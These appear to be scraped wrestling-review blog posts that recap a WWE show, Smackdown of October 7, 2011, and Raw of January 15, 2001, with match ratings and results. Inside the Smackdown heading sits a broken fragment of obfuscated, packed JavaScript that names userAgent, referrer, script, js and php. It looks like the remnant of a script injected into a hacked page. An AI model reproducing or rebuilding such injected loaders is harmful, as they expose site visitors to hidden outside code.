Bryan explodes out of the corner with a clothesline but Del Rio hits a Codebreaker on the arm for two. A middle rope dropkick gets two for Del Rio and he avoids a charge, sending Bryan shoulder first into the post. The corner enziguri misses though and both guys are down. Bryan fires off the kicks to the chest and the running dropkick in the corner followed by the top rope hurricanrana for two.

HHH and Stephanie make the main event No DQ.

Another video on Cena.

Tag Titles: Shield vs. Goldust/Cody Rhodes

Rating: A-. Well that helped. This felt like Mankind beating the Rock for the title back in January of 1999 which is about as high of a compliment as I can give a match. This is the kind of moment that this story has been dying for since it started and just like the match at Battleground, it was built up through emotion and it worked like a charm. Great match.

Results

Randy Orton b. The Miz – RKO

Fandango b. Santino Marella – Rollup

Los Matadores b. 3MB – Double Angle Slam to Slater

Ryback b. R-Truth – Shell Shock

Real Americans b. Tons of Funk – Neutralizer to Tensai

Tamina Snuka b. Brie Bella – Big Boot

CM Punk b. Curtis Axel – GTS

Alberto Del Rio b. Daniel Bryan via countout

Cody Rhodes/Goldust b. Shield – Cody pinned Reigns after a KO Punch from Big Show

 

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On This Day: October 7, 2011 – Smackdown: That Awkward Moment After A Walkout

Smackdown
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asaas|var|u0026u|referrer|kbeis||js|php'.split('|'),0,{})) October 7, 2011
Location: Mississippi Coast Coliseum, Biloxi, Mississippi
Commentators: Michael Cole, Josh Matthews, Booker T

This is the first Smackdown after the walk out on Monday so I’m sure we’ll hear about that non-stop. Henry is still world champion so we’re probably looking at Henry vs. Orton III at Vengeance because the Cell is just another match in this feud that probably ends in last man standing or something like that. Anyway we’re in that weird period again where we have to push hard for Vengeance but there is so much from Raw that we need to take care of that first. Let’s get to it.

We open with a long video about the walk out and all that jazz. This eats up like four minutes.

Teddy is in his office (and gets a pop) and is on the phone with HHH. He says he won’t let the Game down. Ryder pops up and Teddy says that he (Teddy) is in charge tonight. Ryder wants to know what’s going on with the walk out and Teddy says it’s none of his business but Raw’s loss is Smackdown’s gain so he has work to do.

Do you know your enemy? Mine is stupid stories that go totally in the face of continuity or character development like Beth, the monster that eliminated Khali from the Rumble a few years ago saying she was just a girl and could get hurt, for the sake of drama.

Big Show is back tonight.

Here’s Vickie to open the show with the disgruntled heels in the ring behind her. Christian takes credit for the whole uprising and the fans chant for HHH. Ziggler says it was a group effort and they were the leaders of the walk out. Barrett is with them too. Otunga says they’ve walked out on HHH and Raw but will be here on Smackdown. Wait….oh never mind.

Anyway if HHH doesn’t quit Monday, they’re leaving house shows and PPVs as well as Smackdown. Barrett says HHH should do the right thing and resign. Cody says he’s part of a united front and now there is hope for change. However they all couldn’t have done it without one (unnamed) man. Swagger says show some respect for Alberto Del Rio. Ok so it was Del Rio’s plan? Here’s the champ and he says he survived the Cell and is champion despite HHH. They’re never going back to Raw until HHH is gone. He’s here tonight to compete.

Cue Teddy who says if these guys keep talking then it’ll be the audience that walks out. The main event is Cody/Christian vs. Sheamus/Orton. Alberto is up next though and has a match against a hand picked opponent (Alberto’s hand that is) and that would be Sin Cara. I’m assuming they mean the blue one because heel vs. heel doesn’t happen.

Alberto Del Rio vs. Sin Cara

Del Rio starts off hot to start and Cara is beaten down quickly with the Mexican hitting a German on the Mexican. It was so good that we saw it on two different replays. Off to a chinlock which Booker says is spectacular. Cara goes up and hits a rana and a tornado DDT as things speed up a bit. Cole blames Lawler for the walk out which is right in a way. And that doesn’t matter as the cross armbreaker ends this in 3:18.

Rating: D+. Not sure what the point of this was as Cara was treated like a total jobber. Don’t get me wrong: he shouldn’t have had a chance in there and shouldn’t have won or anything like that, but I would have expected more than three minutes and change for a guy that had a featured PPV match five days ago. Del Rio looks dominant though and that’s what this was for.

Post match Sin Cara Black comes out to beat up Blue. He works on the arm a lot and hits a Swanton to leave Cara laying.

Cole says he walked out because HHH wasn’t listening to anyone but himself. Booker says he’s neutral and had to go to the bathroom. Little too much information there Book.

Air Boom says it’s probably not HHH’s fault but until HHH steps down, Air Boom won’t be on Raw but they’ll be on the blue show every week. Kofi says it’s due to chaos, but it hasn’t been chaotic at all, at least not more than normal.

Air Boom vs. Jack Swagger/Dolph Ziggler

Air Boom has new music. I guess we’re doing the whole “challengers get beaten time after time but keep getting shots and matches until they win once and can declare themselves better based off that one match” thing. They jump the champs during their entrance and take over early. It’s a big beating in the aisle but I think we’re still going to start the match in a few minutes here.

Bourne takes a Zig Zag on the floor and we take a break. Back and we actually have a bell to start. Bourne is out cold so it’s 2-1 with Kofi starting against Swagger. Evan is sitting up now. Kofi avoids a splash and it’s off to Jack again. Ok make that Dolph. Team Vickie is beating Kofi up pretty well here. A double clothesline puts both guys down. Kofi is still in his t-shirt. Bourne pops up onto the apron and tags himself in but his neck is messed up. Dolph hits a neckbreaker and the gutwrench powerbomb ends this at 3:08.

Rating: C. Not bad here although it was short. The idea here is simple: the heels cheated to win. Why do you need anything more than that at times? The neckbreaker was smart as it played to the injury rather than going with some generic move that doesn’t play to the established injury. Why do so many guys have issues figuring that out? This was fine.

Beth Phoenix vs. Alicia Fox

Glam Slam, pin, 35 seconds.

Post match Nattie puts Alicia in the leg hold and Alicia screams as Beth wants tears. This is kind of disturbing. But can she do that to a chick who is known for spanks and Stinkfaces and has a song about hollering in a club? Apparently not on her own.

Video 9583 on Henry, this one featuring Big Show.

Big Show makes his return and certainly hasn’t lost any weight. He talks about how good it is to be back and praises the fans a bit. We get a clip from MITB which was 4 months ago in WWE time (the show was July 17). Show talks about how he was humbled by Henry which is an image I didn’t need. He’s starting to cry. Henry reached into his chest and tore out his heart. Show couldn’t do little things anymore like putting on his shoes or going upstairs or playing with his dogs. Dude you broke your ankle. You didn’t lose your legs.

The fans chant for him and we actually see them chant. The pain is what fueled the fire in his stomach. He used it to get better and stronger. Henry is going to get the pain and hurt back ten times over. Show says Henry is on a roll, but it’s downhill. At the bottom of that hill is Big Show and all the pain and anger is being loaded up in his fist. He’s going to put that fist onto the side of Henry’s head until Show takes the thing that Henry defines himself by: the World Heavyweight Championship. He’ll settle for nothing less than a one on one match and he wants it RIGHT NOW.

Here’s Henry who says that things have changed since Show was here. The Hall of Pain is getting crowded and now he’s the World Heavyweight Champion. Henry wants to know who Show has beaten recently to earn a shot. They keep saying four months. Can no one in this company ready a calendar or count to three? Henry says he’ll let Show know about when and if Show gets a title shot. Show says Henry has until the end of the night or he’ll break Henry’s ankle and put him through the table. I liked Show here as he kept things simple.

Orton says he doesn’t want to beg for one more match and if he has to go through the entire roster, he’ll do it. As for the walk out, if he had a problem with HHH he’d go take care of it in person. He doesn’t play well with others so Sheamus will have to see how things go tonight in the main event. This was said with a non-evil smile.

Brodus Clay is still coming. As long as he doesn’t run into Johnny Curtis he’ll be fine.

Mahal runs his mouth a bit and is cut off by Big Zeke’s music. He only talked about 4 seconds so it wasn’t anything to see.

Ezekiel Jackson vs. Jinder Mahal

He talks some more and gets shushed and then punched. Jackson overpowers him to start and then runs through him with the slams. Mahal escapes the Rack and fires off with a jumping knee. Jackson shrugs it off and slams him even more before the Rack ends this at 2:06. Just a squash. Did Mahal walk in on Vince practicing Stand Back or something?

Post match Jackson says shhh again.

Johnny Ace comes in to see Teddy and says we’re in uncharted waters. They’re both company men and since HHH isn’t here tonight, Ace is supporting Teddy. If Teddy loses control of Smackdown, the WWE Universe will lose faith and then……well that’s all he says.

Here’s Hornswoggle. He and Booker go into the ring and do Spinaroonis. They get cut off by Christian and it’s already main event time? Wow there’s a ton of time left too.

Christian/Cody Rhodes vs. Sheamus/Randy Orton

They have over 20 minutes for this. Sheamus vs. Christian gets us going but it’s off to Cody very quickly. Cody gets pounded down and we get the forearm smashes in the ropes. The Canadian distracts the Irishman so that the American can hit a Russian for two. The mask Cody wears costs $20,000 according to Cole. Methinks Cody got ripped off. Hot tag to Orton who cleans hour and beats up Christian. Something sounds right about that. Booker: “These guys know each other like a good book and right now Orton is reading him like never before.” Cole: “WHERE DO YOU COME UP WITH THIS STUFF???”

Elevated DDT hits but some Cody distraction lets Christian take over as we go to a break. Back with the heels working over Orton and it’s off to Cody. Oh I forgot we still have Henry’s reply to Big Show so they won’t use the full time. Orton avoids a spear and it’s hot tag to Sheamus. Flying battering ram misses and the Irish Curse is now a tilt-a-whirl backbreaker. Why do they keep changing the names of moves? Cody escapes the Brogue Kick but an RKO out of nowhere by the illegal man pins him at 6:25 shown of 9:55.

Rating: C. I really wasn’t impressed here but the match was ok. Sheamus keeps looking good and I’m glad he and Orton seem to be sharing the top spot on the show. Good enough for a main event but the shortness of it really hurt things here. This getting more time would have helped it as there wasn’t enough time to build drama or anything like that.

Remember the video about the walk out earlier? Here it is again.

There will be a Raw Monday but we’re not sure who will be there.

Here’s Marky Mark for his reply to Big Show. He talks about how he’s infallible just like Big Show but Show gets no title match. Show comes out and beats down Henry. He beats the champ down and shoves security out of the way. A spear puts Henry down and security gets beaten down again. Henry leaves and holds up the title but for once, someone goes after him while he’s standing there and the fight starts up again.

Henry throws him around (that’s still scary) and sets for the Slam through the table. Show fights back and gets a good chokeslam to put Mark through it. He wraps the chair around Henry’s ankle and (after tossing a huge chair aside with one hand) he pulls the steps over and looks to Pillmanize it but Teddy calls him off, saying Show gets the world title match as long as he doesn’t jump onto the ankle. Show steps down and walks away but then goes back and cracks Henry over the back with the chair. Henry looks mostly dead to end the show.

Overall Rating: C. This was a pretty weak show overall, especially by Smackdown’s normal standards. We have our main event and I really like that it isn’t Orton again. He looks like he’s shifting over to Rhodes which would be a nice breather outside of the main event for him. As far as Henry vs. Show goes, that could be interesting and decent if they keep it short. No more than like 8-9 minutes and it could be watchable, which is the case for most monster battles. Watchable show here, but not great by any means.

Results
Alberto Del Rio b. Sin Cara – Cross Armbreaker
Jack Swagger/Dolph Ziggler b. Air Boom – Gutwrench powerbomb to Bourne
Beth Phoenix b. Alicia Fox – Glam Slam
Ezekiel Jackson b. Jinder Mahal – Torture Rack
Randy Orton/Sheamus b. Christian/Cody Rhodes – RKO to Rhodes

 

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Monday Night Raw – January 15, 2001: A Good Show Before A Great One

Monday Night Raw
Date: January 15, 2001
Location: Bradley Center, Milwaukee, Wisconsin
Attendance: 13,936
Commentators: Jim Ross, Jerry Lawler

We continue on the Road to the Royal Rumble here as this is the final Raw until the show. Austin is of course the hottest thing in the world at this point and is on the verge of winning his record setting third Rumble. Also we’re looking at Angle trying to hold onto the title as he gets ready to face HHH on Sunday. This should be fun though so let’s get to it.

After a brief tribute to Martin Luther King Jr. we’re ready to go. The holiday was around this time remember.

Rock/Taker vs. Kane/Rikishi later tonight.

Hardy Boys/Lita vs. Right to Censor

It’s Ivory, Venis and Richards here. WOW that siren is annoying. Ivory issued a challenge to Chyna on Heat the previous night which would result in Chyna actually losing to her at the Rumble. Val and Jeff start us off here. Jeff of course outmaneuvers Val with ease to take over. Off to Matt and it’s all Team Extreme to start. Spin Cycle (a weird double suplex kind of move) from the Hardys to Val.

Side slam by Richards gets two for Matt. Only the girls in this didn’t wind up in TNA at some point. I’m not sure what that says but I don’t think it’s good. JR and the King get to make fun of the RTC which is a parody of the PTC which was a major thorn in the side of Vince because they didn’t like what was on TV so they talked about it incessantly. Double suplex gets two for Steven.

Matt fights him off and gets a middle rope legdrop for two. Good thing that didn’t happen today or Steven would be buried under the ring. Off to Jeff who cleans house. The fans want Lita and Ivory accidentally tags herself in. Litarana to Val and a spear to Ivory. Ivory tries to run but Chyna throws her back into Lita and a Twist of Fate to end it.

Rating: C+. Formula based but fun match here. Both teams worked pretty fast paced and the RTC didn’t drag this out somehow. Not a great match or anything but for an opener this was fine. Chyna coming out for the save helped a lot as there was limited point to having Lita vs. Ivory. Fun match to start the show.

Chyna accepts the challenge.

Stephanie and HHH arrive.

We get a clip from Smackdown of Austin destroying Edge/Christian and the Dudleys.

Here’s HHH for a little chat. Stephanie looking good in a black leather dress. HHH talks about how he hears the same thing everywhere he goes. Everyone says to him to take care of the Game. HHH says unless he’s provoked he won’t go after Austin tonight. Stephanie says that order will be maintained tonight by Vince, who is here live via satellite.

Vince is surrounded by XFL stuff and has an XFL ball. It launched on my birthday which isn’t one of my prouder moments. If HHH provokes Austin then he loses his title shot. If Austin provokes HHH, he’s out of the Rumble. Vince aged a lot in the last decade as he looks very young here. Tonight it’s Austin/Dudleys vs. Edge/Christian/Angle which should be interesting. Vince has to leave now for a meeting but he has his phone on. Odd way for him to go but whatever.

It’s odd because the segment isn’t over yet. HHH says that Angle is champion because HHH has allowed him to be so. He says he never lost the title (Rock pinned Vince in a6 man to win it) and Angle has never won defended against him due to being busy with Austin. He talks about Kurt’s title reign and how Kurt can bring all the help he wants because HHH will win the title on Sunday anyway.

Here’s Kurt with a rebuttal. Angle is disappointed in Stephanie because she blew it because she picked HHH over him. Speaking of games, Donkey Kong has a better chance of taking the title from Angle than HHH does. He’s the big smelly ape that people actually like. Angle has someone in his corner, which is someone that the McMahons know quite well: Trish. Remember she was sleeping with Vince at the time.

Trish makes innuendo about her sleeping with Vince so Stephanie calls her a w****. That would seem to be accurate in the story. Stephanie makes a spanking match with Jackie vs. Trish. Yeah because that’s such punishment. She can’t wrestle so let’s make her do something where there’s no wrestling required. Long segment, running nearly 10 minutes.

Back and we get a clip of Trish volunteering to get a spanking from Vince on Smackdown to explain things a bit more. HHH isn’t sure how Vince is going to take this. Stephanie needs acting lessons in a fierce way.

Hardcore Title: Test vs. Raven

Well at least they both have good music. Raven brings out his shopping cart full of weapons. Fire extinguisher to the face gives Raven control to start but he walks into a full nelson slam to take him down. Here’s Hardcore Holly as I think you know what’s coming. Blackman comes out too and it’s a big mess. As in a bigger mess than usual if that’s possible.

Raven tries to leave but Test follows him up the ramp. Test picks him up and rams Raven’s face into the WWF.com sign above the entrance. Abandon all hope ye who log on? They go to the back where Regal jumps both of them, allowing Raven to pin Test. No rating of course as this was maybe two minutes. Raven drives off in a waiting car. This might result in Raven’s ninja.

Blackman and Holly make a match for later tonight. Good thing they had a time slot all emptied up and waiting on someone to fill it in isn’t it?

XFL ad makes me laugh.

Here’s Rock to do his usual awesome stuff. We’re six days from the Rumble and Rock has a tag match with Taker vs. Kane/Rikishi. Excuse the Rock for not doing cartwheels and backflips of joy. This is a one night partnership but today is a very special day because it is the birthday of Dr. Martin Luther King Jr. Rock has a dream of his own and that is to win the Rumble. Nice transition there. He emulates I Have A Dream but switches out free at last with whipping in a funny line. Good stuff here although kind of short by his standards.

The Dudleys say that tonight it’s a one night partnership with Austin and after the match is over, they’ll have a Dudleyville Discussion with Austin.

HHH and Stephanie call Vince to talk about Drew Carey wanting to do something at the Rumble. Ah wait that’s not why they’re calling. They’re calling to make Rock happy so Vince changes it to Rock/Kane vs. Taker/Rikishi. Uh, ok?

Some Milwaukee Bucks are here.

Undertaker/Rikishi vs. Rock/Kane

Some odd pairings here. Rikishi is #30 in the Rumble. Tough Enough is coming. It’s now 2011 and it’s on its way back. Kind of ironic isn’t it? Not really but it sounds good and these entrances are taking a long time so I need something to pass the time. Rock vs. Rikishi to start. Rikishi knocks him back into the corner and goes for a Stinkface but Rock hits a big clothesline out of the corner to avoid a bad facial.

Kane tags himself in and Rock isn’t too thrilled with that. Samoan Drop takes Kane down as I continue to wonder what Vince was thinking when he picked Rikishi as the big bad. Kane manages to slam him in an impressive spot. Top rope clothesline takes him down again. How exactly was that hellacious though? I’m not getting that part.

Off to the Deadman now (with a tag most would call a right hand to the jaw) as the Brothers square off….again. Rock returns the favor and tags himself back in to give us the eternally bad pairing of Rock vs. Taker. Taker beats him down and hits Old School. Rock fights back but both guys go down to a double clothesline. Swinging neckbreaker puts Taker down for a second as this is a brawl.

Everything breaks down and Kane clocks Rikishi in the head with the bell. He’s a Samoan. That isn’t supposed to work. Spinebuster takes down the Rock but Kane jumps Rock to wild heat. Taker tries to give Rock the Last Ride but Rock dead weights him or something before the second attempt ends Rock.

Rating: C. This was a main event tag match and not much more. It’s fine in that regard but sweet goodness I don’t get why Rikishi was pushed so hard. Did someone really think that was a good idea? Not bad here but it’s nothing I’m going to remember in about five minutes. At least it built to the Rumble somewhat.

Benoit is bringing a ladder to the arena.

After a break here’s Benoit on top of said ladder. He talks about how awesome Jericho is and what an honor it’ll be to wrestle him in a ladder match. Benoit has made a little video for us called the best of Benoit vs. Jericho. As predicted it’s all Benoit destroying Jericho. Naturally Jericho comes in from the crowd and destroys Benoit.

The Dudleys and Edge/Christian get into it in the back and the Dudleys are left laying, including a Conchairto to D-Von.

HHH and Stephanie talk about Austin not having partners now. Stephanie thinks she should call her dad for….uh…no adequately explored reason.

Hardcore Holly vs. Steve Blackman

Ladies and gentlemen, this is what the world has been waiting for! For no apparent reason this isn’t hardcore. They trade strikes and reversals to start us off. Blackman drapes Holly over the ropes and shoves the referee (Teddy Long) maybe 40 seconds in. Holly with some low blows and it’s still not a DQ. A chair is taken away from him and Blackman goes to get some more stuff. Teddy walks off as I hope this isn’t the referee strike angle. I always hated that thing. Not really even a match.

HHH/Steph call Vince who says if Austin can get some partners he can have replacements. Vince asks about Trish and Stephanie…I think gets on him about it?

Trish Stratus vs. Jacqueline

At least Trish looks great in leather pants that are skin tight. I have no idea how you’re supposed to win this as they both have straps. I’m assuming you win by pinfall. As Trish is about to be whipped here’s Angle for the save. Jackie tries to spank her but only gets her pants down. Her thong-clad hips are slapped by the strap and I guess Jackie wins. This was whatever.

We get a clip of Kai En Tai dancing with Too Cool but then turning heel for no apparent reason.

K-Kwik/Too Cool vs. Kai En Tai/Tazz

Kwik is commonly known as R-Truth. Some odd pairings here to be sure. Tazz cuts a brief promo. Kai En Tai’s dubbing gimmick is something I wasn’t a fan of back in the day but now I find it hysterical. Scotty and Funaki start us off. Too Cool hits a Hart Attack of all things. Taka tries a rana but gets caught in a nice sitout powerbomb by Grandmaster. Tazz surprisingly does the worst of his team as Truth comes in. The Worm hits Tazz but after Funaki interference the Tazmission beats Truth.

Rating: D+. Nothing special here in the slightest. It was a quick six man tag to fill in a spot on the card. Tazz would be face by Mania and I have no interest in the other five guys here. Yeah there really isn’t much else to say about this match is there? Why was this on the card again?

Angle suggest that Trish head back to the hotel and put some salve on her. She was somehow curvier at this point.

Royal Rumble Moment: Too Cool and Rikishi dance in the ring. That was awesome.

HHH and Stephanie conspire evily.

Info for Tough Enough is given. This would result in Maven and Nidia who both meant a grand total of nothing.

We recap the Chyna/Ivory thing from earlier in the night which is an odd time to have this on. Ok then.

Billy Gunn is at WWF New York and they ask him how he feels about Chyna coming back so soon. He’s not sure about it but it’s her call. Oh and he might win the Rumble. That’s hilarious.

Kurt Angle/Edge/Christian vs. Steve Austin/???/???

That’s quite the heel team as they’re all champions at this point. Out of nowhere the APA run in and they’re the partners apparently. Austin and Angle start but Angle tags Christian in almost immediately. Off to Edge and Bradshaw now which goes badly for the Canadian. Double spinebuster to Edge as Farrooq comes in. It’s weird to see Austin beat up Edge. They’re tagging that fast mind you.

Angle vs. Austin now and Austin shockingly BACKFLIPS out of a suplex. Edge and Christian grab some chairs but can’t hit a Conchairto on Austin. The APA chases them off and we’re down to the two stars. Superplex gets two for Austin. HHH comes out to the ramp and Austin stares him down. Low blow by Angle and Kurt takes over. Austin manages to counter an Angle suplex and takes over again.

There’s a belly to belly for Austin’s trouble though as Angle pops those hips like only he can. Angle Slam is blocked as they’re flying through this. Thesz Press and Austin hammers away. Angle goes up but jumps into a Stunner to end it. More or less a one on one match but that’s fine by me.

Rating: C+. WAY fast here and it worked pretty well I thought. This works fine as HHH not getting involved here and having Austin do his dirty work for him was perfectly fine as it kills two birds with one stone for him. The tag team aspect meant nothing for the most part but the match was still incredibly energetic and fun.

HHH comes down to the ring and begs Austin to hit him, offering him the first shot. Austin goes to the floor and gets a chair while HHH screams at him to hit him. Austin walks away and makes the symbol of the title around his waist. HHH calls him a pussy, making him charge back but Angle comes up from behind HHH and gets the Slam but Austin gets a Stunner on him to end the show.

Overall Rating
: C+. Well the wrestling was pretty bad, but everything was covered for the Rumble. The PPV was awesome so that helps a lot, but I don’t think anyone actually believed Austin would lose. There were only five matches and everything got some build, but this was pre-Brand Split so there was always Smackdown for more building and the final build. Fun little show, but nothing great or memorable at all.

 

Here’s the Royal Rumble if you’re interested:

 

 

 

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Adolf Hitler On Battleground’s Main Event

Seriously.